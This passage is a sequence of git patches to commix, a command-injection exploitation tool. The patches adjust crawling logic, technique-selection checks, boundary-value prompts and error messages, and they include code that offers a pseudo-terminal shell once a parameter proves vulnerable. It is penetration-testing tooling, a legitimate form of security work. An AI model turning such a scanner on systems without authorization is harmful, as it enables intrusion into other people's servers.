a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -346,6 +346,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index edb2c4b94e..a24fe70083 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -563,6 +563,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/main.py b/src/core/main.py index 1736391973..71124fbaba 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -337,6 +337,15 @@ def stdin_parsing_target(os_checks_num): _.append(url.rstrip()) return _ +""" +Check if an injection point has already been detected against target. +""" +def check_for_injected_url(url): + _ = True + if _urllib.parse.urlparse(url).netloc not in settings.CRAWLED_URLS_INJECTED: + _ = False + return _ + """ The main function. """ @@ -921,36 +930,70 @@ def main(filename, url): print(settings.print_info_msg(info_msg)) url_num = 0 for url in clean_output_href: - http_request_method = checks.check_http_method(url) - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: - url_num += 1 - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = common.read_input(message, default="Y", check_batch=True) - if message in settings.CHOICE_YES: - if os_checks_num == 0: - settings.INIT_TEST = True - if url == clean_output_href[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs.logs_filename_creation(url) - main(filename, url) - except: - pass - elif message in settings.CHOICE_NO: - if url_num == len(clean_output_href): - raise SystemExit() - else: - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() - + if check_for_injected_url(url): + if settings.SKIP_VULNERABLE_HOST is None: + while True: + message = "An injection point has already been detected against '" + _urllib.parse.urlparse(url).netloc + "'. " + message += "Do you want to skip further tests involving it? [Y/n] > " + skip_host = common.read_input(message, default="Y", check_batch=True) + if skip_host in settings.CHOICE_YES: + settings.SKIP_VULNERABLE_HOST = True + break + elif skip_host in settings.CHOICE_NO: + settings.SKIP_VULNERABLE_HOST = False + break + elif skip_host in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(skip_host) + pass + + if settings.SKIP_VULNERABLE_HOST: + url_num += 1 + info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")." + print(settings.print_info_msg(info_msg)) + + if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: + if not check_for_injected_url(url): + settings.SKIP_VULNERABLE_HOST = None + http_request_method = checks.check_http_method(url) + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: + url_num += 1 + perform_check = True + while True: + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + next_url = common.read_input(message, default="Y", check_batch=True) + if next_url in settings.CHOICE_YES: + break + elif next_url in settings.CHOICE_NO: + perform_check = False + if url_num == len(clean_output_href): + raise SystemExit() + else: + break + elif next_url in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_url) + pass + if perform_check: + if os_checks_num == 0: + settings.INIT_TEST = True + if url == clean_output_href[-1]: + settings.EOF = True + # Reset the injection level + if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: + menu.options.level = 1 + init_injection(url) + try: + response, url = url_response(url) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url) + except: + pass + if url_num == len(clean_output_href): raise SystemExit() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 36fe50c4fa..817e53767d 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -422,6 +422,8 @@ def shellshock_handler(url, http_request_method, filename): if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 07720e03ed..e0c1ecde81 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1214,6 +1214,8 @@ def sys_argv_errors(): CRAWLING = CRAWLING_PHASE = False CRAWLED_SKIPPED_URLS_NUM = 0 CRAWLED_URLS_NUM = 0 +CRAWLED_URLS_INJECTED = [] +SKIP_VULNERABLE_HOST = None # Skipped crawled hrefs HREF_SKIPPED = [] @@ -1231,4 +1233,5 @@ def sys_argv_errors(): CHECKING_PARAMETER = "" PCRE_REPLACE_EVAL = False + # eof \ No newline at end of file From 505938c439a5c93dd5b8206cb00d356876019e8b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 6 Jan 2023 08:37:10 +0200 Subject: [PATCH 248/560] Minor update --- src/utils/crawler.py | 3 +-- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index b5d7fb8508..b00af136db 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -89,7 +89,6 @@ def normalize_results(output_href): raise SystemExit() else: common.invalid_option(message) - print(settings.print_error_msg(err_msg)) pass @@ -296,7 +295,7 @@ def crawler(url, url_num, crawling_list): _ = " (" + str(url_num) + "/" + str(crawling_list) + ")" else: _ = "" - info_msg = "Starting crawler for target URL '" + url + "'" + _ + info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." print(settings.print_info_msg(info_msg)) response = request(url) if settings.SITEMAP_CHECK: diff --git a/src/utils/settings.py b/src/utils/settings.py index e0c1ecde81..2121ec2d0f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c6a700ad8ece4d6a91b142aff3b505fe9421486a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 7 Jan 2023 08:50:17 +0200 Subject: [PATCH 249/560] Minor update --- src/core/injections/controller/controller.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b269673d58..786b8218cb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -843,8 +843,8 @@ def do_check(url, http_request_method, filename): err_msg += " and/or remove the option '--skip-empty'" err_msg += "." print(settings.print_critical_msg(err_msg)) - - logs.print_logs_notification(filename, url) + else: + logs.print_logs_notification(filename, url) # if not settings.MULTI_TARGETS: # print(settings.SINGLE_WHITESPACE) if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: diff --git a/src/utils/settings.py b/src/utils/settings.py index 2121ec2d0f..26e4cdab56 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c345490efd7208e5a981646ded370be3b197352e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 8 Jan 2023 09:12:41 +0200 Subject: [PATCH 250/560] Trivial update --- src/core/injections/controller/controller.py | 25 +++++++++++++------- src/utils/settings.py | 2 +- 2 files changed, 18 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 786b8218cb..42a6a59d5f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -832,17 +832,26 @@ def do_check(url, http_request_method, filename): if menu.options.level > settings.COOKIE_INJECTION_LEVEL: err_msg += "and HTTP headers " err_msg += "appear to be not injectable." - if not menu.options.alter_shell : - err_msg += " Try to use the option '--alter-shell'" - else: - err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " and/or increase '--level' value to perform" - err_msg += " more tests" + err_msg += " Try to increase value for '--level' option" if menu.options.skip_empty: - err_msg += " and/or remove the option '--skip-empty'" + err_msg += " and/or remove option '--skip-empty'" + err_msg += " if you wish to perform more tests." + err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" + if not menu.options.alter_shell : + err_msg += " use option '--alter-shell'" + else: + err_msg += " remove option '--alter-shell'" + if not menu.options.tamper: + err_msg += " and/or use option '--tamper'" + if not menu.options.random_agent: + if not menu.options.tamper: + err_msg += " and/or" + err_msg += " switch '--random-agent'" err_msg += "." - print(settings.print_critical_msg(err_msg)) + if settings.MULTI_TARGETS: + err_msg += " Skipping to the next target." + print(settings.print_error_msg(err_msg)) else: logs.print_logs_notification(filename, url) # if not settings.MULTI_TARGETS: diff --git a/src/utils/settings.py b/src/utils/settings.py index 26e4cdab56..cede2c049f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 53c3b9732025ed7076175ecc537c7f86cb40a4b2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 9 Jan 2023 09:07:16 +0200 Subject: [PATCH 251/560] Trivial update --- src/core/main.py | 3 +++ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 71124fbaba..4d4aaf9480 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -299,6 +299,9 @@ def url_response(url): Injection states initiation. """ def init_injection(url): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Initializing the knowledge base." + print(settings.print_debug_msg(debug_msg)) # Initiate heuristic checks. if settings.SKIP_CODE_INJECTIONS: settings.SKIP_CODE_INJECTIONS = False diff --git a/src/utils/settings.py b/src/utils/settings.py index cede2c049f..5402c7b8c0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5f931721d612814c7c6ebe18290e312f632b1052 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 10 Jan 2023 07:27:45 +0200 Subject: [PATCH 252/560] Fixes https://github.com/commixproject/commix/issues/803 --- src/core/injections/controller/controller.py | 25 +++++------ src/core/main.py | 47 +++++++++++++------- src/utils/settings.py | 4 +- 3 files changed, 42 insertions(+), 34 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 42a6a59d5f..8a10ea3c2a 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -311,17 +311,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) - # Skipping specific injection techniques. - if settings.SKIP_TECHNIQUES: - menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - for skip_tech_name in settings.AVAILABLE_TECHNIQUES: - if skip_tech_name in menu.options.skip_tech: - menu.options.tech = menu.options.tech.replace(skip_tech_name,"") - if len(menu.options.tech) == 0: - err_msg = "Detection procedure was aborted due to skipping all injection techniques." - print(settings.print_critical_msg(err_msg)) - raise SystemExit - # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): @@ -389,10 +378,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time common.invalid_option(procced_option) pass - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that " - warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) tests shows that " + warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ @@ -837,6 +826,12 @@ def do_check(url, http_request_method, filename): if menu.options.skip_empty: err_msg += " and/or remove option '--skip-empty'" err_msg += " if you wish to perform more tests." + if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " Rerun without providing the option " + if not settings.SKIP_TECHNIQUES : + err_msg += "'--technique'." + else: + err_msg += "'--skip-technique'." err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" if not menu.options.alter_shell : err_msg += " use option '--alter-shell'" diff --git a/src/core/main.py b/src/core/main.py index 4d4aaf9480..79e7e1ffba 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -164,6 +164,7 @@ def user_agent_header(): print(settings.print_info_msg(info_msg)) except: print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP User-Agent header." print(settings.print_debug_msg(debug_msg)) @@ -447,25 +448,39 @@ def main(filename, url): else: settings.USER_SUPPLIED_TECHNIQUE = True else: - menu.options.tech = list(menu.options.tech) + menu.options.tech = list(menu.options.tech.lower()) _ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))} - menu.options.tech.sort(key=lambda x:_[x]) + try: + menu.options.tech.sort(key=lambda x:_[x]) + except KeyError: + pass menu.options.tech = ''.join(menu.options.tech) else: menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) # Check for skipping injection techniques. if menu.options.skip_tech: + # Convert injection technique(s) to lowercase + menu.options.skip_tech = menu.options.skip_tech.lower() settings.SKIP_TECHNIQUES = True - menu.options.tech = menu.options.skip_tech + if menu.options.tech: + err_msg = "The options '--technique' and '--skip-technique' cannot be used " + err_msg += "simultaneously (i.e. only one option must be set)." + print(settings.print_critical_msg(err_msg)) + raise SystemExit + else: + menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) + for skip_tech_name in settings.AVAILABLE_TECHNIQUES: + if skip_tech_name in menu.options.skip_tech: + menu.options.tech = menu.options.tech.replace(skip_tech_name,"") + if len(menu.options.tech) == 0: + err_msg = "Detection procedure was aborted due to skipping all injection techniques." + print(settings.print_critical_msg(err_msg)) + raise SystemExit # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False - - # Convert injection technique(s) to lowercase - menu.options.tech = menu.options.tech.lower() - # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX) @@ -485,20 +500,22 @@ def main(filename, url): found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[i] err_msg += "' as injection technique. " - err_msg += "The value for '" + err_msg += "The value for option '" if not settings.SKIP_TECHNIQUES : err_msg += "--technique" else: - err_msg += "--skip-technique" - - err_msg += "' must be a string composed by the letters C, E, T, F. " - err_msg += "Refer to the official wiki for details." + err_msg += "--skip-technique" + err_msg += "' must be a string composed by the letters " + err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper() + err_msg += ". Refer to the official wiki for details." print(settings.print_critical_msg(err_msg)) raise SystemExit() if not menu.options.tech: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - + else: + settings.USER_SUPPLIED_TECHNIQUE = True + # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: @@ -527,10 +544,6 @@ def main(filename, url): session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) - # Modification on payload - # if not menu.options.shellshock and not settings.USE_BACKTICKS and not settings.MULTI_TARGETS: - # settings.SYS_USERS = checks.add_command_substitution(settings.SYS_USERS) - # settings.SYS_PASSES = checks.add_command_substitution(settings.SYS_PASSES) # Check if defined "--file-upload" option. if menu.options.file_upload: checks.file_upload() diff --git a/src/utils/settings.py b/src/utils/settings.py index 5402c7b8c0..4f7765ecf5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -602,7 +602,7 @@ def sys_argv_errors(): AVAILABLE_SHELLS = ["python"] # Available injection techniques. -AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ] +AVAILABLE_TECHNIQUES = ['c','e','t','f'] USER_SUPPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False From 840cc086e4f0b31b61dd3f4824583b70db5e6ba0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Jan 2023 07:29:09 +0200 Subject: [PATCH 253/560] Added a new option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). --- doc/CHANGELOG.md | 1 + src/core/main.py | 12 ++++++++++++ src/utils/crawler.py | 15 ++++++++++----- src/utils/menu.py | 5 +++++ src/utils/settings.py | 2 +- 5 files changed, 29 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c7d3582b35..2a5b6b07ec 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). * Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. * Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). * Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). diff --git a/src/core/main.py b/src/core/main.py index 79e7e1ffba..d73dd7109c 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -816,6 +816,18 @@ def main(filename, url): if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK: settings.CRAWLING = True + if menu.options.crawl_exclude: + if not settings.CRAWLING: + err_msg = "The '--crawl-exclude' option requires usage of option '--crawl'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + try: + re.compile(menu.options.crawl_exclude) + except Exception as e: + err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Check arguments if len(sys.argv) == 1 and not settings.STDIN_PARSING: menu.parser.print_help() diff --git a/src/utils/crawler.py b/src/utils/crawler.py index b00af136db..478c22934a 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -269,12 +269,17 @@ def do_process(url): href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href") if href: href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href)) - if _urllib.parse.urlparse(url).netloc in href: + if _urllib.parse.urlparse(url).netloc in href: if (common.extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: - if not re.search(r"\?(v=)?\d+\Z", href) and \ - not re.search(r"(?i)\.(js|css)(\?|\Z)", href): - identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) - + if not re.search(r"\?(v=)?\d+\Z", href) and not re.search(r"(?i)\.(js|css)(\?|\Z)", href): + if menu.options.crawl_exclude and re.search(menu.options.crawl_exclude, href or ""): + if href not in visited_hrefs: + visited_hrefs.append(href) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping URL " + href + "." + print(settings.print_debug_msg(debug_msg)) + else: + identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) no_usable_links(crawled_hrefs) if identified_hrefs: if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1: diff --git a/src/utils/menu.py b/src/utils/menu.py index 03d4659326..e3069316c7 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -169,6 +169,11 @@ def banner(): type="int", help="Crawl the website starting from the target URL (Default: 1).") +target.add_option("--crawl-exclude", + dest="crawl_exclude", + default=None, + help="Regexp to exclude pages from crawling (e.g. \"logout\").") + target.add_option("-x", dest="sitemap_url", help="Parse target(s) from remote sitemap(.xml) file.") diff --git a/src/utils/settings.py b/src/utils/settings.py index 4f7765ecf5..c03f153e28 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f7d9a5020c35f41fc50fd802a4f6c7fc19bddd87 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Jan 2023 08:04:56 +0200 Subject: [PATCH 254/560] Minor update --- src/core/main.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index d73dd7109c..ef41c3a7c4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -749,7 +749,7 @@ def main(filename, url): # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: - err_msg = "The '--check-tor' swich requires usage of switch '--tor'." + err_msg = "The '--check-tor' swich requires usage of '--tor' switch." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -818,7 +818,7 @@ def main(filename, url): if menu.options.crawl_exclude: if not settings.CRAWLING: - err_msg = "The '--crawl-exclude' option requires usage of option '--crawl'." + err_msg = "The '--crawl-exclude' option requires usage of '--crawl' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() try: diff --git a/src/utils/settings.py b/src/utils/settings.py index c03f153e28..6a2735dbd6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5689d6c87c87824c75d980c5f2fcc1b10f73e71c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Jan 2023 08:56:06 +0200 Subject: [PATCH 255/560] Trivial update --- src/core/injections/controller/checks.py | 6 +++--- src/core/requests/parameters.py | 8 ++++---- src/utils/settings.py | 2 +- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 276a9dac2a..27a9e0f85f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -249,10 +249,10 @@ def get_value_boundaries(value): """ Check if the value has boundaries. """ -def value_boundaries(value): +def value_boundaries(parameter, value, http_request_method): _ = get_value_boundaries(value) - message = "It appears that the value '" + str(_) + "' has boundaries. " - message += "Do you want to inject inside? [Y/n] > " + message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " + message += "Do you want to inject inside? ('" + str(value.replace(_,_+"*")) + "')? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: value = _ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index b3c6729326..c686c88697 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -82,7 +82,7 @@ def do_GET_check(url, http_request_method): # Check if single parameter is supplied. if len(multi_parameters) == 1: if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) + value = checks.value_boundaries(multi_parameters, value, http_request_method) # Replace the value of parameter with INJECT_HERE tag # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: @@ -127,7 +127,7 @@ def do_GET_check(url, http_request_method): if checks.ignore_anticsrf_parameter(all_params[param]): continue if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) + value = checks.value_boundaries(all_params[param], value, http_request_method) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: @@ -253,7 +253,7 @@ def do_POST_check(parameter, http_request_method): if checks.ignore_anticsrf_parameter(parameter): return parameter if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) + value = checks.value_boundaries(parameter, value, http_request_method) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if settings.IS_JSON: @@ -307,7 +307,7 @@ def do_POST_check(parameter, http_request_method): if checks.ignore_anticsrf_parameter(all_params[param]): continue if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) + value = checks.value_boundaries(all_params[param], value, http_request_method) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6a2735dbd6..69241fe3fe 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fde2d6ae19bd671dc00405e2c2ad1725623862b1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 14 Jan 2023 07:38:42 +0200 Subject: [PATCH 256/560] Improvements regarding dynamic code evaluation technique). --- doc/CHANGELOG.md | 2 +- src/core/injections/controller/checks.py | 100 ++++++++++--------- src/core/injections/controller/controller.py | 4 - src/core/requests/parameters.py | 15 ++- src/utils/settings.py | 7 +- 5 files changed, 70 insertions(+), 58 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2a5b6b07ec..8609b0c023 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -2,7 +2,7 @@ * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). * Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. * Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). -* Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). +* Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique). * Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). ## Version 3.6 (2022-11-18) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 27a9e0f85f..63c945bf94 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -243,28 +243,67 @@ def load_cmd_history(): """ Get value inside boundaries. """ -def get_value_boundaries(value): - return re.search(settings.VALUE_BOUNDARIES, value).group(1) +def get_value_inside_boundaries(value): + try: + value = re.search(settings.VALUE_BOUNDARIES, value).group(1) + except Exception as ex: + pass + return value """ Check if the value has boundaries. """ def value_boundaries(parameter, value, http_request_method): - _ = get_value_boundaries(value) - message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - message += "Do you want to inject inside? ('" + str(value.replace(_,_+"*")) + "')? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - value = _ - elif procced_option in settings.CHOICE_NO: - settings.INJECT_INSIDE_BOUNDARIES = False - pass - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() + def check_boundaries_value(parameter, value, http_request_method): + _ = get_value_inside_boundaries(value) + while True: + message = "Do you want to inject inside? ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "')? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + 